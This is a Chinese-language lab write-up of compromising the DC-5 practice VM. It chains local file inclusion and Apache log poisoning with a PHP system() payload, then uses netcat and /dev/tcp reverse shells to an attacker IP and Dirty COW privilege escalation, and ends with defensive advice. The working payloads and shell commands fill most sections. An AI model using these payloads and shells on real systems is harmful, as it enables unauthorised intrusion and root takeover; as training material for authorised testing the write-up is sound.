1. 项目概述
这个案例展示了如何通过一个看似无害的"感谢页面"漏洞,逐步获取服务器最高控制权限(Root权限)的全过程。DC-5是专门为渗透测试学习设计的虚拟靶机环境,模拟了真实Web应用中常见的漏洞链。我在实际测试中发现,从简单的页面枚举开始,到最终获得系统完全控制权,整个过程涉及多个关键的技术点和思维突破。
注意:本文所有技术仅用于合法授权的安全测试,未经授权的渗透测试属于违法行为。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与信息收集
2.1 靶机环境搭建
DC-5靶机需要运行在VirtualBox或VMware虚拟环境中。下载OVA文件后导入,网络建议使用NAT或桥接模式。关键配置参数:
- 内存:至少2GB
- 磁盘空间:20GB
- 网络适配器:NAT模式
启动后靶机会自动获取IP,可以通过ARP扫描或netdiscover工具发现其地址:
bash复制sudo netdiscover -r 192.168.1.0/24
2.2 初步信息收集
使用Nmap进行端口扫描是标准的第一步:
bash复制nmap -sV -A -T4 靶机IP
典型扫描结果会显示:
- 80/tcp:Apache HTTP服务
- 111/tcp:rpcbind服务
重点关注HTTP服务,访问Web界面会发现一个简单的网站,其中包含关键的"Thank You"页面。
3. 漏洞发现与利用
3.1 文件包含漏洞挖掘
在测试"thankyou.php"页面时,发现URL参数存在文件包含漏洞:
code复制http://靶机IP/thankyou.php?file=xxx
通过修改file参数,可以尝试读取系统文件:
code复制http://靶机IP/thankyou.php?file=/etc/passwd
成功读取到/etc/passwd文件证明存在本地文件包含(LFI)漏洞。这是第一个关键突破点。
3.2 日志污染攻击
Apache的access.log是常见的攻击向量。通过User-Agent注入PHP代码:
bash复制curl -A "<?php system($_GET['cmd']); ?>" http://靶机IP/
然后通过LFI执行日志中的PHP代码:
code复制http://靶机IP/thankyou.php?file=/var/log/apache2/access.log&cmd=id
这个步骤需要多次尝试,关键点包括:
- 确认日志文件路径(可能是/var/log/httpd/access_log)
- 确保日志有可读权限
- 注意特殊字符的URL编码
4. 权限提升路径
4.1 获取初始Shell
成功执行系统命令后,建立反向Shell连接:
bash复制# 攻击机监听
nc -lvnp 4444
# 通过漏洞执行
http://靶机IP/thankyou.php?file=/var/log/apache2/access.log&cmd=nc -e /bin/sh 攻击机IP 4444
获得Shell后立即升级为交互式终端:
bash复制python -c 'import pty; pty.spawn("/bin/bash")'
4.2 系统内核漏洞利用
检查系统内核版本:
bash复制uname -a
DC-5通常存在脏牛(Dirty COW)漏洞(CVE-2016-5195)。下载并编译利用代码:
bash复制wget https://www.exploit-db.com/download/40839 -O dirty.c
gcc -pthread dirty.c -o dirty
./dirty
成功执行后会创建一个具有root权限的新用户:
bash复制su firefart
password: 0xdf
5. 技术原理深度解析
5.1 文件包含漏洞的本质
PHP的文件包含函数(include/require)在没有严格过滤的情况下,可以加载任意文件内容。当被包含的文件包含PHP代码时,这些代码会被执行。这就是为什么能通过日志文件实现代码执行。
5.2 权限提升机制
Dirty COW漏洞利用Linux内核的内存竞争条件,通过写时复制(COW)机制修改只读内存映射。具体过程:
- 创建内存映射
- 触发竞态条件
- 修改凭证结构
- 提升进程权限
6. 防御措施建议
6.1 针对文件包含漏洞
- 禁用allow_url_include
- 使用白名单限制包含文件
- 对用户输入严格过滤
6.2 针对权限提升
- 及时更新内核补丁
- 限制非特权用户的系统调用
- 使用SELinux/AppArmor
7. 渗透测试经验总结
在实际测试中,有几个关键点值得注意:
-
日志文件的位置可能因系统而异,常见的路径包括:
- /var/log/apache2/access.log
- /var/log/httpd/access_log
- /var/log/nginx/access.log
-
获取稳定Shell的技巧:
- 优先使用python/ptyspawn
- 如果失败尝试其他方法:
bash复制
/bin/bash -i >& /dev/tcp/攻击机IP/4444 0>&1
-
内核漏洞利用时的常见问题:
- 编译环境缺失(需安装gcc、make)
- 内存不足导致失败(可尝试增加swap空间)
这个案例展示了安全测试中"小漏洞大危害"的典型场景。从表面看只是一个简单的文件包含,但结合系统其他弱点,最终形成了完整的攻击链。在真实环境中,每个环节都可能存在更多的防御措施,需要测试人员具备更全面的知识储备和创造性思维。
